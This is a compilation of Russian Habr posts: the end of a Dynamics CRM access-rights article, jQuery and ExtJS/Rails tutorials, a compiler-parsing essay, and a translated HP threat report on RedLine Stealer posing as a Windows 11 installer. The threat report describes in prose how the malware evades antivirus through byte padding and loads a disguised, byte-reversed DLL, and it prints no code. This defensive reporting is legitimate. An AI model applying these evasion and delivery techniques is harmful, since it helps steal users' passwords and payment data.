После этой процедуры появляется возможность выбора нескольких организаций из списка при формировании (редактировании) информации о контакте.
Соответственно, в карточке контакта будет указано, с какими организациями он связан. А после сохранения данных указанный контакт автоматически отобразится в связанном представлении в каждой указанной организации.
#### Доработка прав доступа
Стандартная система прав доступа CRM позволяет оперировать ролями прав доступа к разделам информации и записям на уровне пользователя, подразделения и организации, а также на уровне рабочих групп. Этой системы управления правами доступа пользователей в большинстве случаев бывает достаточно. Однако в реально жизни бывают исключения. *Пример — в компании есть региональные менеджеры, которые контролируют сделки в закрепленных за ними регионах.* Причем в штатной структуре компании все региональные менеджеры находятся в одном структурном подразделении.
Если оперировать штатными средствами, то вариант решения будет таким: необходимо вводить «искусственные» штатные подразделения для раздачи прав доступа на записи. Это, с одной стороны, решит проблему, не прибегая к услугам технических специалистов, но с другой стороны, породит новую проблему — штатная структура компании в CRM будет отличаться от реально существующей, плюс количество этих искусственно созданных подразделений будет равно количеству региональных менеджеров.
Но существует и другой способ решить эту проблему, причем права доступа на записи будут раздаваться на основе информации о том, к какому региону принадлежит организация (интерес, сделка). Для этого для начала более посмотрим на то, как устроена система прав доступа в CRM. Предположим, пользователь пытается получить доступ определенного типа (на чтение, на изменения и т.п.) к некой записи. Почему он может его получить? Есть два варианта:
1. Среди ролей пользователя есть такая, которая позволяет получить требуемый доступ к сущности.
2. Пользователю предоставлен доступ к ней (“share”).
Таким образом мы можем “расшаривать” каждую запись для регионального менеджера, соответствующего региону сущности. Это несложная работа, и её легко автоматизировать, написав специальный plugin, который будет предоставлять (или убирать) общий доступ при изменении поля, определяющего регион.
Обратим внимание на раздел “тип отношений”. Мы видим пункты “Назначить”, “Общий доступ” и т.п., и для каждого из этих действий можно определить тип поведения. Например, выбрав для пункта “Общий доступ” тип поведения «каскад», мы получим следующее: если кто-то предоставляет общий доступ к сущности, то мы получим доступ и к дочерней тоже.
Конечно, мы хотим, чтобы права у региональных менеджеров были не только на запись, но и на все дочерние записи. Для этого настраиваем отношение:
#### Заключение
Итак,
1. Microsoft Dynamics CRM 2013 Online «из коробки» представляет из себя мощный и достаточный инструмент.
2. Microsoft Dynamics CRM 2013 Online обладает простотой и гибкостью настройки бизнес-процессов и объектов системы без программирования.
3. Расширение функционала Microsoft Dynamics CRM 2013 Online, которое невозможно произвести с помощью настроек, достаточно быстро и легко решаются с помощью средств программирования.
4. Используемые технологии и архитектура решения позволяют адаптировать систему под конкретную специфику деятельности практически любой компании и интегрировать решение с существующими информационными системами.
Продукт, возможно, спорный и неоднозначный: с одной стороны, он позволяет проводить настройки (UI, струкутра базы данных, бизнес-процессы) под бизнес-требования штатными средствами, не прибегая к программированию (и это, однозначно, его сильная сторона и конкурентное преимущество). Но с другой стороны, в этом заключается и его «слабость» — пользователь оказывается зажат в рамки этого штатного функционала, и дальнейшие расширения функционала возможны только с помощью технических специалистов (то есть программирование).
Данное утверждение справедливо и для настройки пользовательского интерфейса, и для бизнес-процессов, и для базовой логики работы системы.
В качестве простого бизнес-решения может подойти решение «из коробки», в случае сложных бизнес-процессов и бизнес-требований, выходящих за рамки базового функционала, увы, без доработок не обойтись, вопрос только — какой ценой… | https://habr.com/ru/post/237841/ | null | ru | null |
# Построение анимированной круговой диаграммы на jQuery
Формы это неплохой способ добавить некую изюминку элементам на вашей веб странице. Круги особенно хороши в этом отношении, потому что они целостны, просты и похожи на пирог. А теперь серьёзно, кто не любит пироги?
[Демо](http://blog.templatemonster.com/demos/how-to-build-jquery-animated-circle-statistics/demo/index.html) – [Исходный код](http://blog.templatemonster.com/demos/how-to-build-jquery-animated-circle-statistics/animated-circle-stats-source.zip)
Как вы, должно быть, заметили по собственному многолетнему опыту пользования интернетом, большинство элементов на веб страницах, по сути, являются либо квадратами, либо, прямоугольниками. Поэтому, в некоторых случаях, интересные элементы, такие как круги и треугольники в вашем дизайне могут быть весьма полезными. Этот туториал продемонстрирует, как построить анимированную круговую диаграмму, подобную тем, которые вы обычно видите на сайтах портфолио. Это может помочь визуально подчеркнуть ваши навыки, а также продемонстрировать то, с какими задачами вы можете справиться. Взгляните на демо, чтобы увидеть конечный результат.
### Итак, начнём!
При написании этого туториала, я буду работать с [Circliful](http://plugins.jquery.com/circliful/). Это бесплатный jQuery плагин с открытыми исходниками. Вы можете загрузить основной файл с [Github](https://github.com/pguso/jquery-plugin-circliful). Он включает .js файл вместе с соответствующей CSS таблицей стилей. Страница должна содержать и то и другое, чтобы добиться эффекта круга.
```
```
Animated Circle Stats - Template Monster Demo
```
```
Моя страница содержит подобную таблицу стилей styles.css для моих личных CSS стилей. Вам также необходимо сделать копию [библиотеки jQuery](http://jquery.com/download/). Она необходима для того, чтобы плагин корректно работал.
Саму по себе, страницу довольно легко структурировать. Элементы круга содержатся в тэгах div, которые используют атрибуты HTML5 для управления данными. В качестве альтернативы, они могут храниться в функции jQuery, но если вы хотите лучше контролировать каждый элемент, тогда проще работать в HTML.
```
```
### Photoshop
### Illustrator
### After Effects
```
```
Это копия первого ряда кругов, состоящего из 3 анимированных единиц. Все эти атрибуты данных в дальнейшем разъяснены в [документации к плагину](http://plugins.jquery.com/circliful/). Каждый представляет опцию, которая определяет анимационный эффект. Ниже привожу краткое описание опций, которые я использую:
* data-dimension – общий размер круга ширина/высота;
* data-text – текст, который появляется в центре каждого круга;
* data-width – толщина вращающейся дуги данных;
* data-fontsize – размер шрифта текста по центру;
* data-percent – число от 0-100 отображающее проценты в вашем круге;
* data-fgcolor – цвет переднего плана круга;
* data-bgcolor – цвет фона круга;
* data-fill – внутренняя заливка цвета фона внутреннего круга.
### Компоновка CSS страницы
Я не настаиваю на том, чтобы вы напрямую редактировали **jquery.circliful.css**, конечно если вы не желаете кастомизировать плагин. Большая часть цветов может быть изменена прямо из атрибутов данных HTML5, и если вы действительно хотите переписать какие-либо из стилей *Circliful*, я бы рекомендовал вам делать это в своей собственной таблице стилей.
Сказав вам это, я создал свою собственную таблицу стилей для данного проекта, а не для того, чтобы переписывать стили *Circliful*. Сама по себе веб страница нуждается в компоновке по умолчанию, которую действительно легко спроектировать. Контентная область отцентрирована в маленькой секции для круговой диаграммы. Каждая область свободно перемещается в контейнере строки в пределах оригинального **#stats div**.
```
```
/** page structure **/
.wrap {
display: block;
margin: 0 auto;
max-width: 800px;
}
#intro {
display: block;
margin-bottom: 25px;
text-align: center;
}
#intro p {
font-size: 1.8em;
line-height: 1.35em;
color: #616161;
font-style: italic;
margin-bottom: 25px;
}
#stats {
display: block;
width: 100%;
padding: 15px 0;
background: #f8f8f8;
border-top: 4px solid #c3c3c3;
border-bottom: 4px solid #c3c3c3;
}
#stats .row {
display: block;
}
.circle-container {
display: block;
float: left;
margin-right: 55px;
margin-bottom: 45px;
}
.circle-container h3 {
display: block;
text-align: center;
font-size: 2.25em;
line-height: 1.4em;
color: #363636;
text-shadow: 1px 1px 0 #fff;
}
```
```
Внутри каждой секции, контент удерживается в пределах **.wrap div** для фиксации в центре. Также, свободно передвигающимся элементам круга необходим дополнительный контейнер **.clearfix**, для того чтобы всё оставалось правильно выровненным.
```
```
/** clearfix **/
.clearfix:after { content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0; }
.clearfix { display: inline-block; }
html[xmlns] .clearfix { display: block; }
* html .clearfix { height: 1%; }
```
```
Этот класс **clearfix** был [известен годами](http://www.webtoolkit.info/css-clearfix.html#.VMJeHMms9I0) как решение для контейнера со свободно двигающимися элементами. Обычно их удаляют из текста документа и не сохраняют значение их оригинальной ширины/высоты. Но это поддерживает постоянную ширину контейнера **#stats** и оставляет место для большего количества контента, который будет располагаться ниже на странице.
### Заключительные штрихи
Так, мы замесили тесто, заполнили противень для пирога, поместили его в духовку и уже практически готовы снять пробу. Если всё выглядит достаточно хорошо, то каков же будет финальный шаг? Нам нужно немного jQuery кода в качестве украшения этого проекта.
Откройте новый скрипт тэг внизу этой HTML страницы. Он будет содержать небольшой отрывок JavaScript. Так как я использовал все атрибуты данных HTML5, нам не нужно вызывать никаких jQuery опций. Скрипт просто должен запустить функцию *Circliful* на каждом круге divs. Используя продублированное название класса, как например, **.circlestat** делает процесс очень простым.
```
```
$(function(){
$('.circlestat').circliful();
});
```
```
Для тех, кто не знаком с синтаксической структурой jQuery, я предоставлю короткое описание. После того, как документ загрузится, мы запускаем новую функцию. Нашей внутренней целью является каждый элемент, который использует класс **.circlestat** и запускает функцию **circliful()**. Это приводит плагин *Circliful*, который создаёт анимационные эффекты, в действие и применяет дополнительный контент/цвета.
Я не могу сказать, что эти круги всегда будут наилучшим решением. Я видел много портфолио, которые были основаны на словах и цифрах, но не на работе как таковой. Подумайте об использовании этих кругов в редких случаях и попробуйте позаимствовать их для других целей, вне простых навыков. Ваши статистические данные не обязательно должны измеряться в процентах – они могут показывать, сколько лет вы находитесь в бизнесе, общее количество ваших проектов или другие подобные цифры. Вы можете бесплатно загружать копию моего руководства и экспериментировать с кодом для того, чтобы он лучше подходил для ваших проектов. | https://habr.com/ru/post/250943/ | null | ru | null |
# ExtJS/Rails CRUD приложение за 7 минут
Этот пост покажет вам простые шаги по созданию TODO веб приложения с ипользованием ExtJS, Ruby on Rails и Netzke. Это займет у вас приблизительно 7 минут, и если вам заранее любопытно стоит ли оно того, смотрите сразу последнюю часть (кстати самую большую), где и обсудим результаты. Наша цель заключается в создании веб приложения которое позволит вам добавлять, редактировать и удалять TODO задачи, а также отмечать сделанные. В дополнение к этому вы сможете сортировать и искать задачи, редактировать несколько задач одновременно, и это еще не все. Можете засечь время на своих часах, давайте приступим к работе.
Когда писался этот туториал, я использовал: Rails 3.0.1, netzke-core 0.6.2, netzke-basepack 0.6.1, Ruby 1.9.2, Ext 3.3.0.
#### Первоначальные шаги
Создание Rails приложения:
`> rails new netzke_task_manager && cd netzke_task_manager`
Добавьте Netzke гемы в ваш Gemfile:
```
gem 'netzke-core', :git => "git://github.com/skozlov/netzke-core.git"
gem 'netzke-basepack', :git => "git://github.com/skozlov/netzke-basepack.git"
```
Если позже вы увидите связанные с пагинацией ошибки, вам может потребоваться установка will\_paginate, пока я не найду лучшего решения:
```
gem 'will_paginate', '~>3.0.pre2'
```
Установим гемы:
`bundle install`
Подключим библиотеку Ext и, опционально, иконки от FamFamFam, например:
`> ln -s ~/code/extjs/ext-3.3.0 public/extjs
> ln -s ~/assets/famfamfam-silk public/images/icons`
Добавим роуты Netzke и root:
```
NetzkeTaskManager::Application.routes.draw do
netzke
root :to => "welcome#index"
# ...
end
```
Создадим контроллер welcome:
`> rails g controller welcome index`
Не забудьте удалить public/index.html.
В лайауте приложения стандартные ссылки на JavaScript и CSS заменяются с помощью хелпера netzke\_init, так что результат будет выглядеть похоже на это:
```
Netzke Task Manager
<%= netzke\_init %>
<%= csrf\_meta\_tag %>
<%= yield %>
```
Учтите, что netzke\_init это все что нужно для подключения Ext и Netzke JS и CSS файлов.
3 минуты прошло, мы готовы приступить к действительно интересной части.
#### Создание модели
Давайте создадим модель Task с полями name, priority, notes, due date и флагом «done»:
`> rails g model Task done:boolean name:string notes:text priority:integer due:date`
Отредактируйте файл с миграцией (db/migrate/xxx\_create\_tasks.rb), чтобы флаг «done» по умолчанию был снят:
```
t.boolean :done, :default => false
```
Внесем изменения в базу данных:
`rake db:migrate`
Мы хотим чтобы наши задачи, как минимум, всегда имели какое-то имя, поэтому давайте добавим соответствующие валидации. И установим default\_scope для получения только незавершенных задач:
```
class Task < ActiveRecord::Base
validates_presence_of :name
default_scope :conditions => {:done => false}
end
```
#### Добавление Netzke grid panel
Для того чтобы увидеть Ext таблицу как интефейс к нашей модели, нам не потребуется прилагать много усилий. Просто объявите Netzke GridPanel в app/views/welcome/index.html.erb:
```
<%= netzke :tasks, :class_name => "Basepack::GridPanel", :model => "Task" %>
```
Запустим сервер:
`> rails s`
… и посмотрим как это выглядит на [localhost](http://localhost):3000/:
Это все уже довольно функционально, и при этом пристойно выглядит. Через минуту я покажу вам впечатляющий список возможностей, которые у вас появились. Но сначала давайте немного подправим приложение, чтобы оно выглядело еще лучше — у нас еще есть на это время.
С Netzke::Basepack::GridPanel вы можете с легкостью настраивать колонки (смотрите документацию по этому поводу). Давайте сделаем 2 простые вещи: 1) укажем какие колонки мы хотим видеть, исключая созданные по умолчанию рельсами created\_at и updated\_at, и 2) изменим заголовок колонки «due» на «Due on».
```
<%= netzke :tasks,
:class_name => "Basepack::GridPanel",
:model => "Task",
:columns => [:done, :name, :notes, :priority, {:name => :due, :header => "Due on"}]
%>
```
Отлично. Давайте используем оставшиеся 2 минуты для финальной, чисто визуальной модификации. Давайте отобразим нашу таблицу посередине страницы, под заголовком, без этого толстого синего хедера, и с нормальной рамкой вокруг. Также зададим для некоторых колонок ширину по умолчанию, и сделаем так, чтобы они занимали всю ширину таблицы.
Для того чтобы поставить таблицу посередине страницы, давайте быстренько добавим некоторые css стили в лайаут нашего приложения (после netzke\_init хелпера):
```
h1 { text-align: center; margin: 10px;}
.netzke-component { width: 700px; margin: auto; }
```
Для добавления названия, включим рамку и выключим хедер:
```
Incomplete tasks
================
<%= netzke :tasks,
:class_name => "Basepack::GridPanel",
:model => "Task",
:columns => [:id, :done, :name,
{:name => :notes, :width => 200},
{:name => :priority, :width => 50},
{:name => :due, :header => "Due on"}
],
# Standard Ext.grid.EditorGridPanel configuration options:
:border => true,
:header => false,
:view_config => {
:force_fit => true # force the columns to occupy all the available width
}
%>
```
Вот, это оно! Остановите свои часы, и давайте обсудим то, что мы получили:
#### Обсуждение результатов
Так как Netzke::Basepack::GridPanel очень мощный компонент, мы бесплатно получили кучу фич.
##### Одновременное редактирование нескольких строк
Добавление, изменение и удаление записей может с легкостью происходить так:
##### Пагинация
Даже если ваша таблица содержит десятки тысяч записей, это не проблема для таблицы Netzke, все благодаря встроенной пагинации.
##### Контекстное меню
Некоторые действия кнопок внизу таблицы продублированы в контекстном меню:
##### Автоматическое определение типов атрибутов
В нашем приложении мы используем в модели Task поля с типами integer, boolean, string, text, и date — и каждое из полей получает свой тип колонки, пользователь не сможет ввести буквы в поле priority.
##### Поддержка Rails валидаций
Валидации Rails поддерживаются, и работают даже при множественном редактировании!
##### Сортировка на стороне сервера
Нажмите на заголовок колонки, чтобы включить сервер-сайд сортировку:
##### Фильтрация на стороне сервера
Умные фильтры по умолчанию включены для каждой из колонок, конечно, учитывая тип колонки.
Пример с датой:
Приоритет:
##### Добавление/(мульти)редактирование записей в форме
Иногда добавление/изменение записи гораздо удобнее с помощью формы. Конечно, у Netzke есть такая возможность. Поддерживается даже мульти-редактирование, просто выделите нужные записи и нажмите «Edit in form».
##### Продвинутый поиск, с использованием шаблонов
##### И еще...
В этой статье не рассмотрено, но Netzke grid panel также поддерживает one-to-many («belongs\_to») связи (посмотрите ссылку на демо ниже).
#### Заключение
Вы научились малой части вещей, которые Netzke предоставляет, например Netzke::Basepack::GridPanel — мощный, настраиваемый и расширяемый компонент, который вы можете использовать в своих RIA приложениях. Вы можете увидеть больше примеров использования GridPanel и других компонентов в [демо](http://demo.netzke.org/). В принципе, Netzke задумывался как фреймворк который позволяет вам создавать свои собственные мощные компоненты — с нуля, или используя существующие.
Следите за мной в [твиттере](http://twitter.com/nomadcoder) и узнавайте новости о Netzke, и не забудьте добавить в закладки [официальный сайт проекта](http://netzke.org/).
Делитесь Netzke опытом в [Google группе](http://groups.google.com/group/netzke), и (не в последнюю очередь), пожалуйста помните: Netzke это многогранный проект, где большее сообщество будет означать более быструю разработку. Спасибо!
**UPD** [d43](https://habrahabr.ru/users/d43/) подсказал где посмотреть [демо](http://yanit.heroku.com/) с ExtJS 4. | https://habr.com/ru/post/133935/ | null | ru | null |
# HP предупреждает о вредоносе RedLine Stealer, маскирующемся под установщик Windows 11
[](https://habr.com/ru/company/ruvds/news/t/651023/)
В [блоге компании HP](https://threatresearch.ext.hp.com/redline-stealer-disguised-as-a-windows-11-upgrade/#post/0), посвященном вопросам кибербезопасноти, появилась информация о новом изощренном методе распространения вредоносного ПО под видом установщика Windows 11, способного ускользать от обнаружения антивирусными средствами.
Всего через день после объявления Microsoft о достижении Windows 11 заключительной фазы доступности, подразумевающей возможность обширного развертывания на подходящих устройствах, в HP обнаружили, что некий субъект, регистрационная информация которого указывает на Москву, зарегистрировал новый домен windows-upgraded[.]com
По адресу этого домена находился сайт, имитирующий облик реального ресурса Microsoft, предлагающего скачать Windows 11. Вот только кнопка `Download Now` вела к скачиванию архива *Windows11InstallationAssistant.zip*, размещенного в сети доставки содержимого Discord.
Этот подозрительный архив весит всего 1.5МБ, но распаковывается при этом в 753МБ, 751МБ из которых занимает исполняемый файл *Windows11InstallationAssistant.exe*. Оставшиеся два мегабайта составляют шесть библиотек Windows и один XML-файл. Чтобы упаковать 753МБ в 1.5МБ, степень сжатия должна составлять 99.8%, что очень много в сравнении со средним показателем для исполняемых файлов равным 47%.
*Заполнение 0x30 в файле Windows11InstallationAssistant.exe*
Столь высокая степень сжатия достигается за счет заполнения большей части бинарника легкосжимаемыми байтами `0x30`. Это заполнение делает исходный файл достаточно большим, чтобы его не могли обработать инструменты анализа. В результате вредонос может избегать обнаружения антивирусным ПО, подвергая угрозе ничего не подозревающих пользователей.
При выполнении этот файл запускает процесс PowerShell с закодированным аргументом, который стартует процесс cmd.exe с задержкой в 21 секунду. По прошествии 21 секунды исходный процесс запрашивает с удаленного сервера файл *win11.jpg*, который на деле является не изображением JPEG, а DLL-библиотекой, чье содержимое сохранено в обратном порядке.
*Развернутый DLL-файл при просмотре в текстовом редакторе*
Затем начальный процесс восстанавливает порядок содержимого полученного файла и загружает полученную DLL, которая оказывается полезной нагрузкой RedLine Stealer. Эта программа собирает подробную информацию о системе: имена пользователей, компьютеров, списки установленного ПО и оборудования. Помимо этого, вредонос выцеживает сохраненные в браузерах пароли, а также данные для автозаполнения, включающие информацию банковских карт и криптовалютных кошельков.
*Цепочка процессов, ведущая к запуску RedLine Stealer*
Эта новая кампания с подложным установщиком Windows 11 напоминает другую недавно проанализированную HP кампанию, в которой злоумышленник маскировал вредонос под установщик приложения Discord. Он зарегистрировал домен discordappp[.]com через того же провайдера, использовал те же DNS-сервера и распространял малварь из того же семейства, что и в случае с установщиком Windows 11.
Перевод новости: [HP Warns Of Tricky RedLine Stealer Malware Masquerading As Windows 11 Installers](https://hothardware.com/news/hp-warns-redline-stealer-malware-masquerading-windows-11-installers)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=hp_preduprezhdaet_o_vredonose_redline_stealer_maskiruyushhemsya_pod_ustanovshhik_windows_11) | https://habr.com/ru/post/651023/ | null | ru | null |
# Компиляция. 5: нисходящий разбор
До сих пор занимались восходящим синтаксическим разбором. Какие ещё есть варианты?
Отложим бизона в сторону, и вернёмся к теории.
### Далее в посте:
1. Идея
2. Воплощение
3. Холивар
4. Бэктрекинг
### Идея
Помним, что [общая идея](http://habrahabr.ru/blogs/programming/99298/) восходящего разбора в следующем: читая входную строку, сдвигаем её по одному символу в стек; как только наверху стека образовывается комбинация, подходящая под какое-нибудь правило грамматики, сворачиваем её в один нетерминал, и продолжаем дальше.
Важная особенность этого метода — что во время свёртки правила у нас уже есть на руках все его составляющие, и мы можем [строить из них дерево](http://habrahabr.ru/blogs/programming/99397/) с какой захотим структурой, или даже прямо на ходу [использовать для вычислений](http://habrahabr.ru/blogs/programming/99366/).
Противоположный подход состоит в том, что начинаем *разворачивать* начальный символ грамматики, выбирая разворачиваемое правило в соответствии со следующим входным символом.
Например, если у нас в грамматике есть правила
```
OP: '{' OPS '}' // блок
| EXPR ';' // выражение
| 'if' '(' EXPR ')' OP
| 'if' '(' EXPR ')' OP 'else' OP
| 'while' '(' EXPR ')' OP
| 'exit' ';' ;
```
и мы видим, что дальше в тексте идёт `while`, тогда разворачивать будем по правилу `OP: 'while' '(' EXPR ')' OP ;`
Для магазинного автомата такой парсинг можно реализовать следующим образом: * Во время развёртки, записываем в стек правую часть правила: продолжение текста будем разбирать в соответствии с ней.
* Если наверху стека терминал, и во входном тексте такой же терминал, значит, текст соответствует ожидаемому. Удаляем верхний терминал из стека, читаем следующий символ текста.
* Если наверху стека нетерминал, значит его надо развернуть. Правило для развёртки выбираем на основании входного символа.
Сразу же обратим внимание, что действие при развёртке выполнять бессмысленно: правая часть развёрнутого правила ещё не прочитана, и неизвестно, будет ли прочитана вообще. Можно было бы при развёртке класть в стек под символы правой части пустышку-сигнал «правило успешно прочитано, можно выполнять действие»; но к этому моменту вся правая часть уже стёрта из стека! С чем же действие будет работать?
Но основная сложность нисходящего разбора не в этом, а в том, как выбрать подходящее правило для развёртки.
Вспомним грамматику, которая бизону не по зубам:
```
WORD: S1 'a' 'i' 'l' | S2 'a' 'l' 'e' ;
S1: 's' ;
S2: 's' ;
```
Как нам разворачивать `WORD`, когда следующий символ `'s'`?
Непонятно, как выбирать: оба правила для `WORD` начинаются именно на `'s'`.
### Воплощение
Можно разрешить автомату заглядывать вперёд дальше, чем на один символ: этот подход, судя по отзывам, применили в ANTLR, популярном генераторе LL-парсеров.
Техническая сложность в том, что каждый новый символ, от которого зависит выполнение развёртки, увеличивает *размерность* таблиц перехода; так что несжатые таблицы для автомата из N состояний, читающего 3 символа из текста (плюс к символу из стека), содержали бы N·2564 элементов, а это десятки гигабайт.
Поэтому применимость LL-парсинга с далёким заглядыванием вперёд определяется именно способностью генератора парсеров эффективно сжимать таблицы (вспомним, как бизон сжал нам таблицу 258х14 в семь коротких одномерных массивов).
LR-парсеры с далёким заглядыванием вперёд, насколько я понимаю, не делают — потому, что и так всех всё устраивает: конфликты, вызванные недостаточно далёким заглядыванием, в LR-парсерах редки. Чтобы нашу грамматику мог разпознавать бизон, достаточно не просить его выбрать между двумя одинаковыми свёртками:
```
WORD: 's' 'a' 'i' 'l' | 's' 'a' 'l' 'e' ;
```
С другой стороны, для LL-парсера ничего не изменилось: по-прежнему оба правила соответствуют символу `'s'`. Поэтому, чтобы «адаптировать» грамматику для LL-разбора, общее начало разных правил для одного и того же нетерминала выносят во «вспомогательный нетерминал»:
```
WORD1: 's' 'a' WORD ;
WORD: 'i' 'l' | 'l' 'e' ;
```
Этот трюк называется «левая факторизация»: из одинаково начинающихся правил как будто бы выносится «общий множитель».
Теперь развёртка `WORD1` однозначная, а две возможные развёртки для `WORD` начинаются на разные буквы.
Зачем заморачиваться с факторизацией и плодить в грамматике бессмысленные нетерминалы, если чудо-сжиматель ANTLR способен заглядывать сколько захочет вперёд?
Вернёмся к грамматике
```
OP: '{' OPS '}' // блок
| EXPR ';' // выражение
| 'if' '(' EXPR ')' OP
| 'if' '(' EXPR ')' OP 'else' OP
| 'while' '(' EXPR ')' OP
| 'exit' ';' ;
```
Как разворачивать `OP`, когда следующий символ `if`? Есть два правила, которые могут так начинаться; и их общая часть — `'if' '(' EXPR ')' OP` — может быть *произвольной* длины, так что как далеко бы парсер ни заглядывал вперёд, это его не спасёт.
Другая проблема, с которой LL не может справиться, — левая рекурсия. Помним грамматику калькулятора торговок с рынка:
```
EXPR: NUM | EXPR OP NUM ;
```
Оба правила для `EXPR` начинаются на `NUM`: первое явно, второе неявно; при этом нет общего «фактора», который можно было бы вынести из правил наружу. Если предположим ещё, что длина `NUM` не ограничена, — понятно, что никакое заглядывание вперёд проблему не решит.
Чтобы починить грамматику, отталкиваемся от её *смысла*: первый `NUM` в строке — готовое выражение, а все остальные выражения содержат по два операнда.
```
EXPR: NUM EXPR1 ;
EXPR1: | OP NUM EXPR1 ;
```
Левой факторизацией и устранением левой рекурсии можно любую однозначную грамматику приспособить для LL-парсинга, ценой добавления уймы вспомогательных нетерминалов, совершенно бессмысленных.
Например, в свёртке правила `EXPR: EXPR OP NUM ;` мы запросто строили узел синтаксического дерева: левый аргумент — вот он, в `$1`; правый аргумент — вот он, в `$3`. А что можно сделать при развёртке `EXPR1: OP NUM EXPR1 ;`? Левый аргумент *уже развёрнут и стёрт из стека*; зато у нас в руках есть `EXPR1` — под-выражение после правого аргумента. Будто бы в нём какой-то прок!
Важно то, что левая рекурсия *естественна* для всех левоассоциативных операций — а их большинство. Поэтому неразбериха типа вышеприведённой — не редкий курьёз, а типичный случай.
С одной стороны, приведение грамматики к LL-виду совершенно формально, и его можно поручить бездушной железяке. С другой стороны, как отлаживать автомат, который работает не по заданной грамматике, а по какой-то своей?
В частности, нам не дадут писать действия для развёрток, потому что развёртываться всё равно будут не те правила, которые задали мы, — а какие-то другие, которые железяка задала себе сама. Хорошо ещё, если такой парсер сумеет сгенерировать заданное дерево разбора; для этого ему придётся соотносить правила заданной грамматики с теми правилами, по которым фактически работает автомат, и перестраивать дерево, «возвращая на место» узлы, переехавшие из одного правила в другое.
### Холивар
Спор о преимуществах LL vs. LR так же стар, как автоматический синтаксический разбор вообще; у обоих подходов свои сторонники. Например, глубоко уважаемый лично мной Никлаус Вирт был активным апологетом LL-разбора, и одним из design goals при разработке Паскаля была возможность LL(1)-разбора — т.е. автоматом, который видит только один следующий символ текста. Большинство «живых языков» в LL не укладываются: например, в Си на `int` может начинаться объявление либо переменной, либо функции, и мы не может отличить одно от другого, пока не дочитаем строку до конца.
По поводу удобства: в основном, каждый хвалит тот инструмент, к которому привык, и питает неприязнь к непривычному.
Например, процитирую один «лучший ответ» со stackoverflow, касательно спора «[ANTLR vs. bison](http://stackoverflow.com/questions/212900/advantages-of-antlr-versus-say-lex-yacc-bison)»:
> In terms of personal taste, I think that LALR grammars are a lot easier to construct and debug. The downside is you have to deal with somewhat cryptic errors like shift-reduce and (the dreaded) reduce-reduce. These are errors that Bison catches when generating the parser, so it doesn't effect the end-user experience, but it can make the development process a bit more interesting.
В качестве преимуществ ANTLR в том споре приводят всё что угодно, кроме качеств собственно парсинга: удобную среду разработки, генерацию кода на разных языках, удобочитабельный генерируемый код.
Удобочитабельный генерируемый код — это самое сильное отличие ANTLR от табличных парсеров. Фактически, вместо специализированного стека разбора используется стек вызовов, и распознавание каждого правила грамматики реализуется как вызов функции (для рекурсивного правила — рекурсивная функция). Поэтому при отладке из стека вызовов непосредственно видно, как парсер попал в текущее состояние; тогда как с бизоном, как мы помним, приходится включать отладочную печать переходов между состояниями, и сверяться с распечаткой автомата, чтобы понять причину переходов.
Недостатки рекурсивной реализации перед табличной также ясны: куда больший объём кода, а значит потребление памяти; невозможность написания «заплаток» на сгенерированный код, потому что он меняется при изменении грамматики, да ещё и размножается по десяткам функций.
### Бэктрекинг
LL-парсеры, предопределённым образом выбирающие правило для каждой развёртки, — не единственный вариант нисходящего синтаксического разбора. Альтернативная идея: когда есть несколько подходящих правил, попробуем *все*, какое-нибудь да подойдёт. Например, можно сделать нечто навроде `fork()`: создать клоны парсера в текущем состоянии, и каждый клон пусть пробует по одному из вариантов развёртки. Если клон натыкается на ошибку синтаксиса, он умирает. Если все клоны умерли, значит ни один вариант развёртки не подходит: во входном тексте синтаксическая ошибка.
Для правильных текстов этот подход более-менее приемлим; но с обнаружением ошибок возникают проблемы. Во-первых, которую из обнаруженных ошибок печатать? Большинство их — результат неверно выбранной развёртки, а не ошибки в тексте программы; но с точки зрения парсера, все совершенно равноправны.
Во-вторых, разбор может никогда не закончиться: каждый раз, когда делаем развёртку по леворекурсивному правилу, один из клонов будет точно в том же состоянии, как до развёртки; так что на каждом шаге будет получаться ещё один точно такой же клон, и так до бесконечности. Если один из клонов доберётся-таки до конца разбора, тогда всех остальных можно будет убить; а если, наоборот, все остальные клоны напорются на ошибки синтаксиса и умрут, и продолжать жить будет только бесполезно плодящийся клон?
Наконец, что делать с неоднозначными грамматиками? И LL-, и LR-парсеры обнаружат конфликты во время компиляции; здесь же компиляции, как таковой, нет: парсер руководствуется грамматикой практически в сыром виде, т.е. *интерпретирует* её на ходу.
Значит, может получиться, что для одного и того же текста будем получать то один разбор, то другой: смотря который клон раньше успеет закончить разбор.
Последнюю проблему решили наиболее оригинально: объявили, что возможность неоднозначного разбора — фундаментальная проблема грамматик, и вместо них нужно использовать *парсящие выражения*, которые отличаются по сути лишь тем, что между правилами развёртки задан строгий приоритет. Например, если грамматики
`OP: EXPR ';' | 'if' '(' EXPR ')' OP | 'if' '(' EXPR ')' OP 'else' OP ;`
и
`OP: EXPR ';' | 'if' '(' EXPR ')' OP 'else' OP | 'if' '(' EXPR ')' OP ;`
— это одна и та же самая неоднозначная грамматика, то парсящее выражение
`OP: EXPR ';' / 'if' '(' EXPR ')' OP 'else' OP / 'if' '(' EXPR ')' OP`
однозначно указывает парсеру «сначала попробуй распознать `if..else`, и только если не удастся, распознавай `if`-без-`else`». А выражение
`OP: EXPR ';' / 'if' '(' EXPR ')' OP / 'if' '(' EXPR ')' OP 'else' OP`
означает «сначала распознавай `if`-без-`else`», и поэтому `else` им вообще никогда не будет распознан.
Теперь вместо того, чтобы проверять все возможные развёртки одновременно, мы будем проверять их по очереди, в соответствии с приоритетом; к следующей развёртке переходим только тогда, когда предыдущая наткнулась на ошибку. По ссылке, упомянутой комментаторами, приводится [отличная метафора](http://thedeemon.livejournal.com/9974.html) для такого способа разбора:
> [](http://habreffect.ru/237/35f2fcaad/k4vs1.jpg) Вы когда-нибудь ездили на ленивом слоне? Он идет медленно и сильно раскачивается. И не идет по дороге, а блуждает во всех направлениях, которые сочтет интересными, но если они не совпадают с нужным, то погонщик слону говорит «не, нам не сюда». Так, перепробовав все варианты, слон оказывается в той точке, про которую *не* сказали «не сюда». Вот и парсер-комбинаторы так же, перепробуют все комбинации вариантов, пока какой-нибудь один из них не сработает. И после каждого отката начинают заново делать одну и ту же работу. <...> Программа в пару строчек разбиралась быстро. В три строчки уже несколько секунд. Пять строчек я не дождался. Запомните, дети, такие парсер-комбинаторы годятся только для очень простых грамматик.
Осталось обнаружить зацикливания парсинга, достичь приемлемого времени работы, и, недурно бы — локализацию ошибки.
